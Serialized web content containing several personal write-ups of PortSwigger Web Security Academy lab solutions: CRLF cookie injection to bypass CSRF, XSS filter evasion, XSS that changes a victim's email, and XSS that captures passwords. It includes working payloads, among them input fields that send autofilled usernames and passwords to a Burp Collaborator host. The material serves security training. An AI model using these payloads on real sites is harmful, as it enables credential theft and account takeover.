524],{},"Strange, checking on my own account. Our image request fires ",[37,10177,10178],{},"https:\u002F\u002F0adc008703793a5cb59757ad003c00b7.web-security-academy.net\u002F?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F",", OK, our cookies are set: ",[37,10181,10182],{},"csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi;",[15,10184,10185,10186,3699,10188,10191,10192,3699,10194,524],{},"After that we submit the form, it has ",[37,10187,7206],{},[37,10189,10190],{},"g3ehBjNaTdNvZFQZrjQZOJtgKfwN4t7J",". And we look at the cookies, oops, there's a different ",[37,10193,9463],{},[37,10195,10196],{},"csrfKey=Fwfr4OYp5ZylU8JjNAQt6ZSKfrfRqvr4;",[15,10198,10199],{},"Apparently it doesn't get set after all.",[15,10201,10202,10203,524],{},"Read up, will try setting ",[37,10204,10205],{},"SameSite=None;",[15,10207,10208],{},"Final 3:",[142,10210,10212],{"className":3020,"code":10211,"language":3022,"meta":87,"style":87},"\u003Cform id=\"csrf\" action=\"https:\u002F\u002F0adc008703793a5cb59757ad003c00b7.web-security-academy.net\u002Fmy-account\u002Fchange-email\" method=\"POST\">\n    \u003Cinput name=\"email\" value=\"wr3dmast3r@m.com\">\n    \u003Cinput name=\"csrf\" value=\"g3ehBjNaTdNvZFQZrjQZOJtgKfwN4t7J\">\n\u003C\u002Fform>\n\n\u003Cimg src=\"https:\u002F\u002F0adc008703793a5cb59757ad003c00b7.web-security-academy.net\u002F?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F%3B%20SameSite=None%3B%20Secure\" onerror=\"document.getElementById('csrf').submit()\">\n",[37,10213,10214,10240,10260,10280,10288,10292],{"__ignoreMap":87},[313,10215,10216,10218,10220,10222,10224,10226,10228,10230,10232,10234,10236,10238],{"class":315,"line":316},[313,10217,749],{"class":748},[313,10219,7035],{"class":752},[313,10221,5424],{"class":795},[313,10223,3037],{"class":748},[313,10225,9481],{"class":771},[313,10227,8412],{"class":795},[313,10229,3037],{"class":748},[313,10231,9894],{"class":771},[313,10233,7062],{"class":795},[313,10235,3037],{"class":748},[313,10237,7067],{"class":771},[313,10239,756],{"class":748},[313,10241,10242,10244,10246,10248,10250,10252,10254,10256,10258],{"class":315,"line":88},[313,10243,3047],{"class":748},[313,10245,5194],{"class":752},[313,10247,5207],{"class":795},[313,10249,3037],{"class":748},[313,10251,6540],{"class":771},[313,10253,5214],{"class":795},[313,10255,3037],{"class":748},[313,10257,9515],{"class":771},[313,10259,756],{"class":748},[313,10261,10262,10264,10266,10268,10270,10272,10274,10276,10278],{"class":315,"line":253},[313,10263,3047],{"class":748},[313,10265,5194],{"class":752},[313,10267,5207],{"class":795},[313,10269,3037],{"class":748},[313,10271,9481],{"class":771},[313,10273,5214],{"class":795},[313,10275,3037],{"class":748},[313,10277,9941],{"class":771},[313,10279,756],{"class":748},[313,10281,10282,10284,10286],{"class":315,"line":780},[313,10283,946],{"class":748},[313,10285,7035],{"class":752},[313,10287,756],{"class":748},[313,10289,10290],{"class":315,"line":792},[313,10291,777],{"emptyLinePlaceholder":96},[313,10293,10294,10296,10298,10300,10302,10305,10307,10309,10311,10313,10315,10317,10319,10321,10323],{"class":315,"line":802},[313,10295,749],{"class":748},[313,10297,3059],{"class":752},[313,10299,3062],{"class":795},[313,10301,3037],{"class":748},[313,10303,10304],{"class":771},"\"https:\u002F\u002F0adc008703793a5cb59757ad003c00b7.web-security-academy.net\u002F?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F%3B%20SameSite=None%3B%20Secure\"",[313,10306,9566],{"class":795},[313,10308,3037],{"class":748},[313,10310,3809],{"class":771},[313,10312,9573],{"class":748},[313,10314,524],{"class":771},[313,10316,9578],{"class":795},[313,10318,9581],{"class":771},[313,10320,7173],{"class":795},[313,10322,9586],{"class":771},[313,10324,756],{"class":748},[15,10326,10327],{},"Nice, tested on myself — seems to work! Let's submit it for grading.",[15,10329,10330],{},"I don't get it, PortSwigger isn't accepting it...",[361,10332,4155],{},{"title":87,"searchDepth":88,"depth":88,"links":10334},[10335,10336],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135},"CRLF injection via reflected LastSearchTerm into Set-Cookie + img onerror and SameSite=None.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fcsrf-token-tied-to-non-session-cookie",{"title":9609,"description":10337},{"loc":10339},"notes\u002Fpentesting\u002Fportswigger\u002Fcsrf-token-tied-to-non-session-cookie",[264,7206,9605,269],"2h 15m","FbaGRzLKmtk8YLi64FmeLRB9qTa2SQQuyA9G6RBqFAA",{"id":10347,"title":10348,"author":6,"body":10349,"date":10484,"description":10485,"difficulty":257,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":10486,"navigation":96,"notes":93,"path":10487,"psTitle":10363,"seo":10488,"sitemap":10489,"stem":10490,"tags":10491,"timeSpent":93,"type":106,"__hash__":10493},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fxss-most-tags-blocked.md","Reflected XSS with Most Tags and Attributes Blocked (PortSwigger Lab)",{"type":8,"value":10350,"toc":10480},[10351,10355,10357,10364,10366,10373,10380,10389,10394,10400,10406,10412,10427,10430,10472,10475,10477],[11,10352,10354],{"id":10353},"reflected-xss-with-most-tags-and-attributes-blocked","Reflected XSS with Most Tags and Attributes Blocked",[19,10356,121],{"id":120},[15,10358,10359,131],{},[125,10360,10363],{"href":10361,"rel":10362},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fcross-site-scripting\u002Fcontexts\u002Flab-html-context-with-most-tags-and-attributes-blocked",[129],"Reflected XSS into HTML context with most tags and attributes blocked",[19,10365,135],{"id":134},[15,10367,10368,10369,10372],{},"From the lab description we figure we'll probably need Burp Intruder to try to find a tag outside the WAF filters. Throw ",[37,10370,10371],{},"\u003Csvg>"," into the search field at random — \"Tag is not allowed\".",[15,10374,10375,10376,10379],{},"OK, copy the request into Intruder, set the variable on the value of the ",[37,10377,10378],{},"search"," parameter. Head to the PortSwigger cheatsheet, Copy tags to clipboard, paste those 143 tags into the payloads field. Go.",[15,10381,10382,10383,8649,10386,524],{},"Our candidates — ",[37,10384,10385],{},"xss",[37,10387,10388],{},"body",[15,10390,10391,10392,524],{},"Okay, let's try to find allowed attributes on ",[37,10393,10388],{},[15,10395,10396,10397,10399],{},"In the cheatsheet find ",[37,10398,10388],{},", Copy events to clipboard. Add to Intruder. Tweak the payload a bit:",[142,10401,10404],{"className":10402,"code":10403,"language":147},[145],"GET \u002F?search=\u003Cbody §> HTTP\u002F2\n",[37,10405,10403],{"__ignoreMap":87},[15,10407,10408,10409,524],{},"Interesting candidate: ",[37,10410,10411],{},"onresize",[15,10413,10414,10415,10417,10418,10420,10421,10423,10424,10426],{},"Let's build the payload from an ",[37,10416,6651],{}," + change its width on ",[37,10419,9717],{},". That triggers the ",[37,10422,10411],{}," event on the ",[37,10425,10388],{}," we inject.",[15,10428,10429],{},"OK, first version of the payload:",[142,10431,10433],{"className":3020,"code":10432,"language":3022,"meta":87,"style":87},"\u003Ciframe src=\"https:\u002F\u002F0af40062043186e8833af680009500e2.web-security-academy.net\u002F?search=\u003Cbody onresize=print()>\" onload=this.width=100>\n",[37,10434,10435],{"__ignoreMap":87},[313,10436,10437,10439,10441,10443,10445,10448,10450,10453,10456,10458,10460,10462,10465,10467,10470],{"class":315,"line":316},[313,10438,749],{"class":748},[313,10440,6651],{"class":752},[313,10442,3062],{"class":795},[313,10444,3037],{"class":748},[313,10446,10447],{"class":771},"\"https:\u002F\u002F0af40062043186e8833af680009500e2.web-security-academy.net\u002F?search=",[313,10449,749],{"class":3104},[313,10451,10452],{"class":771},"body onresize=print()>\"",[313,10454,10455],{"class":795}," onload",[313,10457,3037],{"class":748},[313,10459,725],{"class":808},[313,10461,524],{"class":771},[313,10463,10464],{"class":748},"width",[313,10466,3037],{"class":3104},[313,10468,10469],{"class":808},"100",[313,10471,756],{"class":748},[15,10473,10474],{},"Deliver this payload via the exploit server.",[15,10476,3968],{},[361,10478,10479],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":87,"searchDepth":88,"depth":88,"links":10481},[10482,10483],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135},"2026-05-01","Hunt an allowed tag and event with Burp Intruder; body + onresize, delivered via an iframe.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fxss-most-tags-blocked",{"title":10348,"description":10485},{"loc":10487},"notes\u002Fpentesting\u002Fportswigger\u002Fxss-most-tags-blocked",[264,10385,269,10492],"burp-intruder","ocanuAj-lymwphgy_KRxY-_wy3RH5HOKpnYrN2eiByA",{"id":10495,"title":10496,"author":6,"body":10497,"date":11066,"description":11067,"difficulty":257,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":11068,"navigation":96,"notes":93,"path":11069,"psTitle":10511,"seo":11070,"sitemap":11071,"stem":11072,"tags":11073,"timeSpent":93,"type":106,"__hash__":11074},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fxss-bypass-csrf.md","Bypassing CSRF via XSS (PortSwigger Lab)",{"type":8,"value":10498,"toc":11060},[10499,10503,10505,10512,10516,10519,10530,10536,10544,10551,10555,10574,10577,10579,10582,10732,10735,10752,10754,10911,10917,10920,11055,11057],[11,10500,10502],{"id":10501},"bypassing-csrf-via-xss","Bypassing CSRF via XSS",[19,10504,121],{"id":120},[15,10506,10507,131],{},[125,10508,10511],{"href":10509,"rel":10510},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fcross-site-scripting\u002Fexploiting\u002Flab-perform-csrf",[129],"Exploiting XSS to bypass CSRF defenses",[19,10513,10515],{"id":10514},"reconnaissance","Reconnaissance",[15,10517,10518],{},"From the description: we need to change the victim's email using an XSS vulnerability to bypass the CSRF-token defense.",[15,10520,10521,10522,10525,10526,10529],{},"Let's see how the email change works. From ",[37,10523,10524],{},"\u002Fmy-account?id=wiener"," a POST goes to ",[37,10527,10528],{},"\u002Fmy-account\u002Fchange-email"," with the body:",[142,10531,10534],{"className":10532,"code":10533,"language":147},[145],"email=new@mail.com\ncsrf=YVd0ZENUlUAxXV5wV7CBKKvnfDk0iIea\n",[37,10535,10533],{"__ignoreMap":87},[15,10537,10538,10539,10541,10542,524],{},"So the payload needs to grab the CSRF token first. The attack: the payload makes a GET to ",[37,10540,9860],{},", takes the token, then POSTs ",[37,10543,10528],{},[15,10545,10546,10547,10550],{},"For the XSS injection point, just trying our luck — ",[37,10548,10549],{},"\u003Cimg src=x onerror=fetch(1)>"," in the comment field. XSS works.",[19,10552,10554],{"id":10553},"plan","Plan",[335,10556,10557,10562,10568],{},[33,10558,10559,10560],{},"GET ",[37,10561,9860],{},[33,10563,10564,10565],{},"Read the response and find the CSRF token — it lives in ",[37,10566,10567],{},"\u003Cinput required type=\"hidden\" name=\"csrf\" value=\"YVd0ZENUlUAxXV5wV7CBKKvnfDk0iIea\">",[33,10569,10570,10571,10573],{},"POST ",[37,10572,10528],{}," — CSRF token and email in the request body as FormData",[15,10575,10576],{},"The token can be extracted with a regex or via DOMParser. Parsing HTML is more reliable.",[19,10578,2112],{"id":2111},[15,10580,10581],{},"First payload attempt:",[142,10583,10585],{"className":6269,"code":10584,"language":6271,"meta":87,"style":87},"fetch('\u002Fmy-account')\n  .then(r => r.text())\n  .then(html => {\n    const doc = new DOMParser().parseFromString(html, 'text\u002Fhtml');\n    const csrf = doc.querySelector('input[name=csrf]').value;\n    const body = new URLSearchParams({ email: 'new@mail.com', csrf });\n    return fetch('\u002Fmy-account\u002Fchange-email', { method: 'POST', body });\n  });\n",[37,10586,10587,10598,10622,10636,10664,10687,10708,10727],{"__ignoreMap":87},[313,10588,10589,10591,10593,10596],{"class":315,"line":316},[313,10590,3202],{"class":795},[313,10592,3205],{"class":748},[313,10594,10595],{"class":771},"'\u002Fmy-account'",[313,10597,3826],{"class":748},[313,10599,10600,10603,10606,10608,10611,10614,10617,10619],{"class":315,"line":88},[313,10601,10602],{"class":748},"  .",[313,10604,10605],{"class":795},"then",[313,10607,3205],{"class":748},[313,10609,10610],{"class":9085},"r",[313,10612,10613],{"class":761}," =>",[313,10615,10616],{"class":748}," r.",[313,10618,147],{"class":795},[313,10620,10621],{"class":748},"())\n",[313,10623,10624,10626,10628,10630,10632,10634],{"class":315,"line":253},[313,10625,10602],{"class":748},[313,10627,10605],{"class":795},[313,10629,3205],{"class":748},[313,10631,3022],{"class":9085},[313,10633,10613],{"class":761},[313,10635,789],{"class":748},[313,10637,10638,10640,10643,10645,10647,10650,10653,10656,10659,10662],{"class":315,"line":780},[313,10639,805],{"class":761},[313,10641,10642],{"class":808}," doc",[313,10644,812],{"class":761},[313,10646,6285],{"class":761},[313,10648,10649],{"class":795}," DOMParser",[313,10651,10652],{"class":748},"().",[313,10654,10655],{"class":795},"parseFromString",[313,10657,10658],{"class":748},"(html, ",[313,10660,10661],{"class":771},"'text\u002Fhtml'",[313,10663,5710],{"class":748},[313,10665,10666,10668,10671,10673,10676,10679,10681,10684],{"class":315,"line":792},[313,10667,805],{"class":761},[313,10669,10670],{"class":808}," csrf",[313,10672,812],{"class":761},[313,10674,10675],{"class":748}," doc.",[313,10677,10678],{"class":795},"querySelector",[313,10680,3205],{"class":748},[313,10682,10683],{"class":771},"'input[name=csrf]'",[313,10685,10686],{"class":748},").value;\n",[313,10688,10689,10691,10694,10696,10698,10700,10702,10705],{"class":315,"line":802},[313,10690,805],{"class":761},[313,10692,10693],{"class":808}," body",[313,10695,812],{"class":761},[313,10697,6285],{"class":761},[313,10699,8206],{"class":795},[313,10701,8209],{"class":748},[313,10703,10704],{"class":771},"'new@mail.com'",[313,10706,10707],{"class":748},", csrf });\n",[313,10709,10710,10712,10715,10717,10720,10722,10724],{"class":315,"line":821},[313,10711,902],{"class":761},[313,10713,10714],{"class":795}," fetch",[313,10716,3205],{"class":748},[313,10718,10719],{"class":771},"'\u002Fmy-account\u002Fchange-email'",[313,10721,8092],{"class":748},[313,10723,8095],{"class":771},[313,10725,10726],{"class":748},", body });\n",[313,10728,10729],{"class":315,"line":833},[313,10730,10731],{"class":748},"  });\n",[15,10733,10734],{},"In Chrome console — the token is fetched fine, the request fires and returns 302 with a redirect, but the email doesn't change.",[15,10736,10737,10738,10740,10741,10744,10745,10748,10749,524],{},"Compared the request with the original. The difference was in the ",[37,10739,496],{}," header: the PortSwigger server expects ",[37,10742,10743],{},"application\u002Fx-www-form-urlencoded",", but ",[37,10746,10747],{},"URLSearchParams"," sends it as ",[37,10750,10751],{},"application\u002Fx-www-form-urlencoded;charset=UTF-8",[15,10753,2689],{},[142,10755,10757],{"className":6269,"code":10756,"language":6271,"meta":87,"style":87},"fetch('\u002Fmy-account')\n  .then(r => r.text())\n  .then(html => {\n    const doc = new DOMParser().parseFromString(html, 'text\u002Fhtml');\n    const csrf = doc.querySelector('input[name=csrf]').value;\n    const body = new URLSearchParams({ email: 'pwned@hacker.com', csrf });\n    return fetch('\u002Fmy-account\u002Fchange-email', {\n      method: 'POST',\n      headers: { 'Content-Type': 'application\u002Fx-www-form-urlencoded' },\n      body,\n    });\n  });\n",[37,10758,10759,10769,10787,10801,10823,10841,10860,10872,10881,10897,10902,10907],{"__ignoreMap":87},[313,10760,10761,10763,10765,10767],{"class":315,"line":316},[313,10762,3202],{"class":795},[313,10764,3205],{"class":748},[313,10766,10595],{"class":771},[313,10768,3826],{"class":748},[313,10770,10771,10773,10775,10777,10779,10781,10783,10785],{"class":315,"line":88},[313,10772,10602],{"class":748},[313,10774,10605],{"class":795},[313,10776,3205],{"class":748},[313,10778,10610],{"class":9085},[313,10780,10613],{"class":761},[313,10782,10616],{"class":748},[313,10784,147],{"class":795},[313,10786,10621],{"class":748},[313,10788,10789,10791,10793,10795,10797,10799],{"class":315,"line":253},[313,10790,10602],{"class":748},[313,10792,10605],{"class":795},[313,10794,3205],{"class":748},[313,10796,3022],{"class":9085},[313,10798,10613],{"class":761},[313,10800,789],{"class":748},[313,10802,10803,10805,10807,10809,10811,10813,10815,10817,10819,10821],{"class":315,"line":780},[313,10804,805],{"class":761},[313,10806,10642],{"class":808},[313,10808,812],{"class":761},[313,10810,6285],{"class":761},[313,10812,10649],{"class":795},[313,10814,10652],{"class":748},[313,10816,10655],{"class":795},[313,10818,10658],{"class":748},[313,10820,10661],{"class":771},[313,10822,5710],{"class":748},[313,10824,10825,10827,10829,10831,10833,10835,10837,10839],{"class":315,"line":792},[313,10826,805],{"class":761},[313,10828,10670],{"class":808},[313,10830,812],{"class":761},[313,10832,10675],{"class":748},[313,10834,10678],{"class":795},[313,10836,3205],{"class":748},[313,10838,10683],{"class":771},[313,10840,10686],{"class":748},[313,10842,10843,10845,10847,10849,10851,10853,10855,10858],{"class":315,"line":802},[313,10844,805],{"class":761},[313,10846,10693],{"class":808},[313,10848,812],{"class":761},[313,10850,6285],{"class":761},[313,10852,8206],{"class":795},[313,10854,8209],{"class":748},[313,10856,10857],{"class":771},"'pwned@hacker.com'",[313,10859,10707],{"class":748},[313,10861,10862,10864,10866,10868,10870],{"class":315,"line":821},[313,10863,902],{"class":761},[313,10865,10714],{"class":795},[313,10867,3205],{"class":748},[313,10869,10719],{"class":771},[313,10871,8311],{"class":748},[313,10873,10874,10877,10879],{"class":315,"line":833},[313,10875,10876],{"class":748},"      method: ",[313,10878,8095],{"class":771},[313,10880,830],{"class":748},[313,10882,10883,10886,10889,10891,10894],{"class":315,"line":842},[313,10884,10885],{"class":748},"      headers: { ",[313,10887,10888],{"class":771},"'Content-Type'",[313,10890,6050],{"class":748},[313,10892,10893],{"class":771},"'application\u002Fx-www-form-urlencoded'",[313,10895,10896],{"class":748}," },\n",[313,10898,10899],{"class":315,"line":848},[313,10900,10901],{"class":748},"      body,\n",[313,10903,10904],{"class":315,"line":853},[313,10905,10906],{"class":748},"    });\n",[313,10908,10909],{"class":315,"line":874},[313,10910,10731],{"class":748},[15,10912,10913,10914,524],{},"The key is the explicit ",[37,10915,10916],{},"headers: { 'Content-Type': 'application\u002Fx-www-form-urlencoded' }",[15,10918,10919],{},"Comment-ready one-liner:",[142,10921,10923],{"className":3020,"code":10922,"language":3022,"meta":87,"style":87},"\u003Cscript> fetch('\u002Fmy-account') .then(r => r.text()) .then(html => { const doc = new DOMParser().parseFromString(html, 'text\u002Fhtml'); const csrf = doc.querySelector('input[name=csrf]').value; const body = new URLSearchParams({email: 'pwned@hacker.com', csrf}); return fetch('\u002Fmy-account\u002Fchange-email', { method: 'POST', headers: {'Content-Type': 'application\u002Fx-www-form-urlencoded'}, body }); }); \u003C\u002Fscript>\n",[37,10924,10925],{"__ignoreMap":87},[313,10926,10927,10929,10931,10934,10936,10938,10940,10943,10945,10947,10949,10951,10953,10955,10958,10960,10962,10964,10966,10969,10972,10974,10976,10978,10980,10982,10984,10986,10988,10991,10993,10995,10997,10999,11001,11003,11005,11008,11010,11012,11014,11016,11018,11021,11023,11026,11029,11031,11033,11035,11037,11039,11042,11044,11046,11048,11051,11053],{"class":315,"line":316},[313,10928,749],{"class":748},[313,10930,753],{"class":752},[313,10932,10933],{"class":748},"> ",[313,10935,3202],{"class":795},[313,10937,3205],{"class":748},[313,10939,10595],{"class":771},[313,10941,10942],{"class":748},") .",[313,10944,10605],{"class":795},[313,10946,3205],{"class":748},[313,10948,10610],{"class":9085},[313,10950,10613],{"class":761},[313,10952,10616],{"class":748},[313,10954,147],{"class":795},[313,10956,10957],{"class":748},"()) .",[313,10959,10605],{"class":795},[313,10961,3205],{"class":748},[313,10963,3022],{"class":9085},[313,10965,10613],{"class":761},[313,10967,10968],{"class":748}," { ",[313,10970,10971],{"class":761},"const",[313,10973,10642],{"class":808},[313,10975,812],{"class":761},[313,10977,6285],{"class":761},[313,10979,10649],{"class":795},[313,10981,10652],{"class":748},[313,10983,10655],{"class":795},[313,10985,10658],{"class":748},[313,10987,10661],{"class":771},[313,10989,10990],{"class":748},"); ",[313,10992,10971],{"class":761},[313,10994,10670],{"class":808},[313,10996,812],{"class":761},[313,10998,10675],{"class":748},[313,11000,10678],{"class":795},[313,11002,3205],{"class":748},[313,11004,10683],{"class":771},[313,11006,11007],{"class":748},").value; ",[313,11009,10971],{"class":761},[313,11011,10693],{"class":808},[313,11013,812],{"class":761},[313,11015,6285],{"class":761},[313,11017,8206],{"class":795},[313,11019,11020],{"class":748},"({email: ",[313,11022,10857],{"class":771},[313,11024,11025],{"class":748},", csrf}); ",[313,11027,11028],{"class":761},"return",[313,11030,10714],{"class":795},[313,11032,3205],{"class":748},[313,11034,10719],{"class":771},[313,11036,8092],{"class":748},[313,11038,8095],{"class":771},[313,11040,11041],{"class":748},", headers: {",[313,11043,10888],{"class":771},[313,11045,6050],{"class":748},[313,11047,10893],{"class":771},[313,11049,11050],{"class":748},"}, body }); }); \u003C\u002F",[313,11052,753],{"class":752},[313,11054,756],{"class":748},[15,11056,3968],{},[361,11058,11059],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":87,"searchDepth":88,"depth":88,"links":11061},[11062,11063,11064,11065],{"id":120,"depth":88,"text":121},{"id":10514,"depth":88,"text":10515},{"id":10553,"depth":88,"text":10554},{"id":2111,"depth":88,"text":2112},"2026-04-30","Changing the victim's email: an XSS payload reads the CSRF token from \u002Fmy-account and POSTs \u002Fchange-email — gotcha with the Content-Type header.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fxss-bypass-csrf",{"title":10496,"description":11067},{"loc":11069},"notes\u002Fpentesting\u002Fportswigger\u002Fxss-bypass-csrf",[264,10385,7206,269],"O24AToyPS015a7dlfHSM_3X42-kC54xlhLpSZMA75qQ",{"id":11076,"title":11077,"author":6,"body":11078,"date":11301,"description":11302,"difficulty":257,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":11303,"navigation":96,"notes":93,"path":11304,"psTitle":11092,"seo":11305,"sitemap":11306,"stem":11307,"tags":11308,"timeSpent":93,"type":106,"__hash__":11311},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fxss-capture-passwords.md","Capturing Passwords via XSS (PortSwigger Lab)",{"type":8,"value":11079,"toc":11292},[11080,11084,11086,11093,11095,11102,11108,11110,11114,11117,11162,11166,11173,11175,11243,11249,11253,11256,11278,11281,11289],[11,11081,11083],{"id":11082},"capturing-passwords-via-xss","Capturing Passwords via XSS",[19,11085,121],{"id":120},[15,11087,11088,131],{},[125,11089,11092],{"href":11090,"rel":11091},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fcross-site-scripting\u002Fexploiting\u002Flab-capturing-passwords",[129],"Exploiting cross-site scripting to capture passwords",[19,11094,10515],{"id":10514},[15,11096,11097,11098,11101],{},"Go straight to the comment field and check for XSS — ",[37,11099,11100],{},"COMMENT\u003C>'\"\\",". XSS confirmed.",[15,11103,11104,11105,11107],{},"Next, a simple payload — ",[37,11106,10549],{}," — works.",[19,11109,2112],{"id":2111},[137,11111,11113],{"id":11112},"approach","Approach",[15,11115,11116],{},"PortSwigger suggests creating fake inputs that the browser will fill in via autofill — if the user has saved their password. For the mechanism to fire, the inputs need these attributes:",[142,11118,11120],{"className":3020,"code":11119,"language":3022,"meta":87,"style":87},"\u003Cinput name=username id=username>\n\u003Cinput type=password name=password>\n",[37,11121,11122,11142],{"__ignoreMap":87},[313,11123,11124,11126,11128,11130,11132,11134,11136,11138,11140],{"class":315,"line":316},[313,11125,749],{"class":748},[313,11127,5194],{"class":752},[313,11129,5207],{"class":795},[313,11131,3037],{"class":748},[313,11133,2916],{"class":771},[313,11135,5424],{"class":795},[313,11137,3037],{"class":748},[313,11139,2916],{"class":771},[313,11141,756],{"class":748},[313,11143,11144,11146,11148,11150,11152,11154,11156,11158,11160],{"class":315,"line":88},[313,11145,749],{"class":748},[313,11147,5194],{"class":752},[313,11149,5200],{"class":795},[313,11151,3037],{"class":748},[313,11153,4471],{"class":771},[313,11155,5207],{"class":795},[313,11157,3037],{"class":748},[313,11159,4471],{"class":771},[313,11161,756],{"class":748},[137,11163,11165],{"id":11164},"exfiltration","Exfiltration",[15,11167,11168,11169,11172],{},"Now we need to send the captured data out. We'll use Burp Collaborator. The trigger for sending username and password is the ",[37,11170,11171],{},"onchange"," event.",[15,11174,2689],{},[142,11176,11178],{"className":3020,"code":11177,"language":3022,"meta":87,"style":87},"\u003Cinput name=username id=username onchange=fetch(\"https:\u002F\u002F6pwq1k8rxl5e6swnw369cafh58bzzpne.oastify.com?user=\"+this.value)>\n\u003Cinput type=password name=password onchange=fetch(\"https:\u002F\u002F6pwq1k8rxl5e6swnw369cafh58bzzpne.oastify.com?pwd=\"+this.value)>\n",[37,11179,11180,11212],{"__ignoreMap":87},[313,11181,11182,11184,11186,11188,11190,11192,11194,11196,11198,11201,11203,11205,11207,11210],{"class":315,"line":316},[313,11183,749],{"class":748},[313,11185,5194],{"class":752},[313,11187,5207],{"class":795},[313,11189,3037],{"class":748},[313,11191,2916],{"class":771},[313,11193,5424],{"class":795},[313,11195,3037],{"class":748},[313,11197,2916],{"class":771},[313,11199,11200],{"class":795}," onchange",[313,11202,3037],{"class":748},[313,11204,3202],{"class":795},[313,11206,3205],{"class":771},[313,11208,11209],{"class":3104},"\"https:\u002F\u002F6pwq1k8rxl5e6swnw369cafh58bzzpne.oastify.com?user=\"+this.value)",[313,11211,756],{"class":748},[313,11213,11214,11216,11218,11220,11222,11224,11226,11228,11230,11232,11234,11236,11238,11241],{"class":315,"line":88},[313,11215,749],{"class":748},[313,11217,5194],{"class":752},[313,11219,5200],{"class":795},[313,11221,3037],{"class":748},[313,11223,4471],{"class":771},[313,11225,5207],{"class":795},[313,11227,3037],{"class":748},[313,11229,4471],{"class":771},[313,11231,11200],{"class":795},[313,11233,3037],{"class":748},[313,11235,3202],{"class":795},[313,11237,3205],{"class":771},[313,11239,11240],{"class":3104},"\"https:\u002F\u002F6pwq1k8rxl5e6swnw369cafh58bzzpne.oastify.com?pwd=\"+this.value)",[313,11242,756],{"class":748},[11244,11245,11246],"blockquote",{},[15,11247,11248],{},"Heads-up: only one payload should be present in the comments (test the final one on a fresh post with no comments, otherwise form autofill breaks).",[19,11250,11252],{"id":11251},"result","Result",[15,11254,11255],{},"Burp Collaborator received 3 requests:",[142,11257,11261],{"className":11258,"code":11259,"language":11260,"meta":87,"style":87},"language-http shiki shiki-themes github-light github-dark","GET \u002F?user=administratoradministrator HTTP\u002F1.1\nGET \u002F?pwd=mba29ry6e4jzms6kv354 HTTP\u002F1.1\nGET \u002F?user=administrator 